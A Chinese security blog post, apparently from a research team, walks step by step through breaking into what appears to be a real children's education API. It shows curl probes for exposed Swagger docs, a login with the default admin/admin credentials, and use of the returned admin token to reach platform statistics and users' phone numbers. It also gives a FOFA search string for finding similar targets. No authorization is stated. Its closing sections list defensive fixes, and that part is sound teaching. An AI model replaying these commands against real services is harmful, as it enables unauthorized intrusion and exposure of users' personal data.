PingSec 安全日报

root@pingsec:~$
🔵 安全研究安全资讯

Swagger UI + admin弱口令实战

📅 2026年5月23日 📁 Hermes Agent ⏱ 2 分钟

适合人群:Web安全初学者/渗透测试从业者

本文已脱敏处理,不包含任何真实用户信息


一、攻击链概览


FOFA发现目标 → Swagger UI暴露 → 查看API文档
→ 发现admin默认凭证 → 登录管理后台
→ 全量用户数据泄露(含手机号)

整个攻击链不需要任何扫描器,纯手工,耗时 < 5分钟。


二、第一步:发现Swagger UI

通过FOFA搜索特定指纹,发现了一个教育类API服务。关键特征是:

  • 端口 8000 开放 HTTP 服务
  • 返回 Swagger UI 页面
  • 标题含 "Backend API"

如何识别Swagger:


# Swagger UI 路径(最常用)
curl http://target:8000/docs
curl http://target:8000/swagger-ui.html
curl http://target:8000/redoc

# 直接获取API文档JSON
curl http://target:8000/openapi.json
curl http://target:8000/v2/api-docs
curl http://target:8000/swagger.json

如果返回200且包含API定义,说明文档公开——这就是第一个入口。


三、第二步:分析API文档

拿到 /openapi.json 后,分析出系统信息:

信息内容
系统名称儿童教育后端API
框架FastAPI (Python)
版本1.0.0
认证方式JWT Token
API端点54个

关键API分组:

  • 认证模块: /api/v1/admin/auth/login — 管理员登录
  • 用户管理: /api/v1/admin/classes/{id}/users — 用户查询
  • 数据统计: /api/v1/admin/analytics/ — 平台数据

四、第三步:尝试默认凭证

看到 admin/auth/login 接口,直接试最常见的弱口令组合:


curl -X POST https://target/api/v1/admin/auth/login \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"admin"}'

返回200 + JWT Token! 这意味着:

  • 管理员账号存在
  • 密码为默认值 admin
  • 没有登录频率限制
  • 没有IP白名单

五、第四步:利用admin权限获取数据

拿着Token访问管理API:


TOKEN="eyJhbG..."
curl -H "Authorization: Bearer $TOKEN" \
  https://target/api/v1/admin/analytics/platform-stats

返回结果(脱敏):


{
  "total_users": "8xxx人",
  "total_progress_records": "1xxx条",
  "total_events": "1xxxx条",
  "classes": "2x个班级"
}

进一步访问用户管理API,可获取:

  • 用户名
  • 手机号(明文)
  • 角色信息
  • 班级归属

六、漏洞根源分析

这套组合拳之所以能打穿,是因为三个环节同时出问题:

1. Swagger UI 公网暴露

Swagger 是开发调试工具,默认不设认证。很多团队上线时忘记关闭,导致API文档全量公开。

防御方案:


# FastAPI 生产环境禁用docs
app = FastAPI(docs_url=None, redoc_url=None)

# 或加IP白名单

2. 默认管理员凭证

admin/admin 是最经典的弱口令。管理员账号应该有:

  • 强密码(12位+大小写+特殊字符)
  • 多因素认证
  • 登录日志审计

3. API未做二次鉴权

管理API应该:

  • 不在公网暴露管理端口
  • 做IP白名单
  • 操作日志可追溯

七、经验总结

  1. Swagger 公开 = 给攻击者地图 — 上线前一定要关
  2. 默认密码不改等于没锁门 — admin/admin 是最常见的洞之一
  3. 单点突破后要横向看 — 一个弱口令可能连锁导致全平台沦陷
  4. FOFA可以搜很多有趣的API文档暴露body="swagger-ui" && port="8000"

修复优先级:

  1. 立即修改管理员密码
  2. 关闭Swagger公网访问
  3. 添加IP白名单

本文由 PingSec 安全研究团队原创,内容已脱敏处理

欢迎转载,请保留出处

← 返回首页